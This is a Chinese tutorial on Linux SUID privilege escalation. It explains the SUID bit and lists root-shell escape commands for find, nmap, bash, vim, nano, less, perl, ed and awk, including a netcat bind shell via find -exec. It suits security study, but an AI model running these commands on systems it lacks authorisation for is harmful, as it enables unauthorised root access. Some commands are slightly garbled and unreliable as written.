• 首页 首页 icon
  • 工具库 工具库 icon
    • IP查询 IP查询 icon
  • 内容库 内容库 icon
    • 快讯库 快讯库 icon
    • 精品库 精品库 icon
    • 问答库 问答库 icon
  • 更多 更多 icon
    • 服务条款 服务条款 icon

LINUX提权之SUID提权篇(二)

武飞扬头像
juejin
帮助1005

前言

今天给大家带来的是SUID提权,也是linux中很常用的提权方法,下面先给大家介绍一下SUID是什么。

SUID

要先了解SUID是什么:

SUID (Set UID)是Linux中的一种特殊权限,其功能为用户运行某个程序时,如果该程序有SUID权限,那么程序运行为进程时,进程的属主不是发起者,而是程序文件所属的属主。但是SUID权限的设置只针对二进制可执行文件,对于非可执行文件设置SUID没有任何意义,在执行过程中,调用者会暂时获得该文件的所有者权限,且该权限只在程序执行的过程中有效. 通俗的来讲,假设我们现在有一个可执行文件XINO,其属主为root,当我们通过非root用户登录时,如果XINO设置了SUID权限,我们可在非root用户下运行该二进制可执行文件,在执行文件时,该进程的权限将为root权限。

​上面介绍了SUID的特性,利用此特性,我们可通过SUID进行提权

设置SUID权限:

chmod u s filename   设置SUID位
chmod u-s filename   去掉SUID设置

假设我们给一个文件赋予SUID权限:

图片.png

赋予权限之后的文件信息为:

图片.png

代表该文件已经获得了suid权限,这就是个人对于SUID的简单理解,那么该怎样利用呢。

我们先看一下常用的具有SUID权限的文件有哪些,常用命令如下:

find / -perm -u=s -type f 2>/dev/null #-type b/d/c/p/l/f 查是块设备,目录,字符设备,管道.符号链接,普通文件
#    2>/dev/null    将find报错的信息重定向到null[空]

图片.png

可以看到查询到了具有SUID权限的文件,包括上面我们增加了SUID权限的文件,当然简单总结一下我们常用SUID提权文件如下:

nmap
vim
find
bash
more
less
nano
cp
awk

下面简单举一些SUID提权的例子。

find

find是我们在linux中查找文件经常用到的命令,提权过程如下:

cd /tmp;touch xxx    随便创建一个文件可以在tmp目录下
find xxx -exec whoami ;    
find xxx -exec /bin/sh ;    利用find得到一个root权限的shell
find xxx -exec nc -lvp 1234 -e /bin/sh ;利用nc反弹一个root权限的shell

namp

namp作为一个端口扫描工具被人们熟知,当目标主机存在版本在 2.02-5.21 之间的 nmap也是可以尝试SUID提权的,接下来给大家讲一下步骤:

早期nmap中有交互模式,我们可以用以下命令进入:

nmap --interactive //进入交互模式

然后我们在交互模式中输入以下命令进行提权:

nmap> !sh
sh-3.2# whoami
root

如果读者觉得手动比较麻烦,我们可以在MSF里寻找攻击脚本:

图片.png

bash

我们可以用命令通过一个ROOT权限来打开bash shell:

bash -p
bash-3.2# id
uid=1002(service) gid=1002(service) euid=0(root) groups=1002(service)

VIM

vim作为一款linux下的文件编辑器,当以SUID运行的话,它会继承root用户的权限:

vim.tiny
# Press ESC key
:set shell=/bin/sh
:shell

nano

nano是Unix和类Unix系统中的一个文本编辑器,我们也可以利用它来提权:

nano
Ctrl   R
Ctrl   X 
即可进入命令行

图片.png

less/more

less命令用于显示文件或命令输出的内容,它一次只显示一个页面(分页显示工具)。它类似于more命令,而且他们两个的提权方法基本一致,但需要注意的是只有比较大的文件才能进行翻页:

less(or more) /etc/passwd
#在less(or more)中输入:
!/bin/sh

perl

perl命令作为linux中常用脚本也是可以进行提权的:

sudo perl -e 'exec "/bin/sh";'

图片.png

ed

ed是Linux中功能最简单的文本编辑程序,一次仅能编辑一行而非全屏幕方式的操作。我们在命令行模式执行命令:

ed
!whoami
root
!

awk

AWK, 数据过滤工具 (类似于grep),属数据处理引擎,基于模式匹配检查输入文本,逐行处理并输出。我们可以通过以下方式进行命令执行:

awk 'BEGIN {system("whoami")}'

图片.png

nice

以更改过的优先序来执行程式, 简单来说就是修改程序的优先级。

nice whoami

图片.png

结语

今天带来的是linux提权中的SUID提权,详细总结了一下SUID的基本知识以及常用的SUID提权方式,可以看到能够进行SUID提权的方式还是挺多的,因此还是需要好好的积累,如果对本文感兴趣不妨一键三连支持一下。

这篇好文章是转载于:学新通技术网

  • 版权申明: 本站部分内容来自互联网,仅供学习及演示用,请勿用于商业和其他非法用途。如果侵犯了您的权益请与我们联系,请提供相关证据及您的身份证明,我们将在收到邮件后48小时内删除。
  • 本站站名: 学新通技术网
  • 本文地址: /boutique/detail/tanekce
系列文章
更多 icon
同类精品
更多 icon
继续加载